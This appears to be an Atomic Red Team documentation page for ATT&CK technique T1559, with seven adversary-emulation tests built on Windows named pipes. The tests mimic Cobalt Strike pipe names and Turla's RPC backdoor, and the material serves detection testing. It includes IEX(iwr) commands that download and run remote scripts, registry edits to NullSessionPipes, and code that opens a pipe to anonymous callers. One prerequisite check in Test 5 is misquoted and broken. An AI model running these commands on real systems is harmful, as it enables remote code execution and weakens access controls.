logo
SlackReddit

T1559

Inter-Process Communication

Description from ATT&CK

Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)

Source

Atomic Tests

Atomic Test #1: Cobalt Strike Artifact Kit pipe

Uses the Named Pipes Micro Emulation executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.

Supported Platforms: Windows

auto_generated_guid: bd13b9fc-b758-496a-b81a-397462f82c72

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 1

Dependencies: Run with powershell!

Description: Named pipe executors must exist on disk
Check Prereq Commands
if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe")) {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$zipUrl  = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip"
Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads"

Atomic Test #2: Cobalt Strike Lateral Movement (psexec_psh) pipe

Uses the Named Pipes Micro Emulation executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.

Supported Platforms: Windows

auto_generated_guid: 830c8b6c-7a70-4f40-b975-8bbe74558acd

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 2

Dependencies: Run with powershell!

Description: Named pipe executors must exist on disk
Check Prereq Commands
if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe")) {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$zipUrl  = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip"
Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads"

Atomic Test #3: Cobalt Strike SSH (postex_ssh) pipe

Uses the Named Pipes Micro Emulation executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.

Supported Platforms: Windows

auto_generated_guid: d1f72fa0-5bc2-4b4b-bd1e-43b6e8cfb2e6

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 3

Dependencies: Run with powershell!

Description: Named pipe executors must exist on disk
Check Prereq Commands
if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe")) {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$zipUrl  = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip"
Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads"

Atomic Test #4: Cobalt Strike post-exploitation pipe (4.2 and later)

Uses the Named Pipes Micro Emulation executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.

Supported Platforms: Windows

auto_generated_guid: 7a48f482-246f-4aeb-9837-21c271ebf244

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 4

Dependencies: Run with powershell!

Description: Named pipe executors must exist on disk
Check Prereq Commands
if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe")) {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$zipUrl  = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip"
Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads"

Atomic Test #5: Cobalt Strike post-exploitation pipe (before 4.2)

Uses the Named Pipes Micro Emulation executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.

Supported Platforms: Windows

auto_generated_guid: 8dbfc15c-527b-4ab0-a272-019f469d367f

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 5

Dependencies: Run with powershell!

Description: Named pipe executors must exist on disk
Check Prereq Commands
if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe") -and ("Test-Path PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe")) {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$zipUrl  = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip"
Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads"

Atomic Test #6: Create Named Pipe

Creates a named pipe using PowerShell. Named pipes are a common inter-process communication mechanism that adversaries use to facilitate data exchange between processes or as a command-and-control channel.

Supported Platforms: Windows

auto_generated_guid: 17521690-2183-460f-a182-5dfd6f9f0a7f

Inputs

NameDescriptionTypeDefault Value
pipe_nameName of the named pipe to create (without the \\.\pipe\ prefix)stringatomic_pipe

Attack Commands: Run with powershell!

$pipe = New-Object System.IO.Pipes.NamedPipeServerStream("#{pipe_name}", [System.IO.Pipes.PipeDirection]::InOut)
Start-Sleep -Seconds 30
$pipe.Dispose()

Atomic Test #7: Named Pipe Integrity Reduction for Turla's RPC backdoor

Emulates the server-side behavior of Turla's RPC backdoors. First checks to see if the named pipe atctl is in the registry key for NullSessionPipes, and if so, modifies the security descriptor of the pipe to allow untrusted/anonymous integrity level callers via SetSecurityInfo. Essentially allows unauthenticated users to have privileged RCE on the server machine through RPC.

Reference: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

Supported Platforms: Windows

auto_generated_guid: 7a8f8ae9-6b1d-4f7b-88e7-9ea01234eee5

Inputs

NameDescriptionTypeDefault Value
pipe_nameName of the named pipe to createstringatctl

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Add-Type @'
using System;
using System.IO.Pipes;
using System.Runtime.InteropServices;

public class TurlaPipe {
    [DllImport("advapi32.dll", SetLastError = true)]
    static extern uint SetSecurityInfo(SafeHandle handle, int objectType, int securityInformation, IntPtr owner, IntPtr group, IntPtr dacl, IntPtr sacl);

    [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    static extern bool ConvertStringSecurityDescriptorToSecurityDescriptorW(string sddl, uint revision, out IntPtr sd, out uint size);

    [DllImport("advapi32.dll")]
    static extern bool GetSecurityDescriptorSacl(IntPtr pSd, out bool present, out IntPtr pSacl, out bool defaulted);

    [DllImport("kernel32.dll")]
    static extern IntPtr LocalFree(IntPtr hMem);

    public static void CreateAndSetLabel(string pipeName) {
        var pipe = new NamedPipeServerStream(pipeName, PipeDirection.InOut);
        IntPtr pSd;
        uint sdSize;
        ConvertStringSecurityDescriptorToSecurityDescriptorW("S:(ML;;NW;;;S-1-16-0)", 1, out pSd, out sdSize);
        bool present, defaulted;
        IntPtr pSacl;
        GetSecurityDescriptorSacl(pSd, out present, out pSacl, out defaulted);
        SetSecurityInfo(pipe.SafePipeHandle, 6, 0x10, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, pSacl);
        LocalFree(pSd);
        pipe.Dispose();
    }
}
'@
[TurlaPipe]::CreateAndSetLabel("#{pipe_name}")

Cleanup Commands

if (Test-Path "$env:TEMP\T1559_nullsession_added") {
  $regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"
  $current = (Get-ItemProperty -Path $regPath -Name "NullSessionPipes" -ErrorAction SilentlyContinue).NullSessionPipes
  if ($current -contains "#{pipe_name}") {
    $updated = $current | Where-Object { $_ -ne "#{pipe_name}" }
    Set-ItemProperty -Path $regPath -Name "NullSessionPipes" -Value $updated -Type MultiString
  }
}
Remove-Item "$env:TEMP\T1559_nullsession_added" -Force -ErrorAction SilentlyContinue

Dependencies: Run with powershell!

Description: NullSessionPipes must contain the pipe name for the security descriptor to be set
Check Prereq Commands
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"
$current = (Get-ItemProperty -Path $regPath -Name "NullSessionPipes" -ErrorAction SilentlyContinue).NullSessionPipes
if ($current -contains "#{pipe_name}") { exit 0 } else { exit 1 }
Get Prereq Commands
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"
$current = (Get-ItemProperty -Path $regPath -Name "NullSessionPipes" -ErrorAction SilentlyContinue).NullSessionPipes
$updated = @($current) + "#{pipe_name}"
Set-ItemProperty -Path $regPath -Name "NullSessionPipes" -Value $updated -Type MultiString
New-Item -Type File "$env:TEMP\T1559_nullsession_added" -Force | Out-Null

Atomic test(s) for this technique last updated: 2026-09-05 00:05:10 UTC

T1559.002

Inter-Process Communication: Dynamic Data Exchange

T1560.001

Archive Collected Data: Archive via Utility

On this page

Description from ATT&CKAtomic TestsAtomic Test #1: Cobalt Strike Artifact Kit pipeAtomic Test #2: Cobalt Strike Lateral Movement (psexec_psh) pipeAtomic Test #3: Cobalt Strike SSH (postex_ssh) pipeAtomic Test #4: Cobalt Strike post-exploitation pipe (4.2 and later)Atomic Test #5: Cobalt Strike post-exploitation pipe (before 4.2)Atomic Test #6: Create Named PipeAtomic Test #7: Named Pipe Integrity Reduction for Turla's RPC backdoor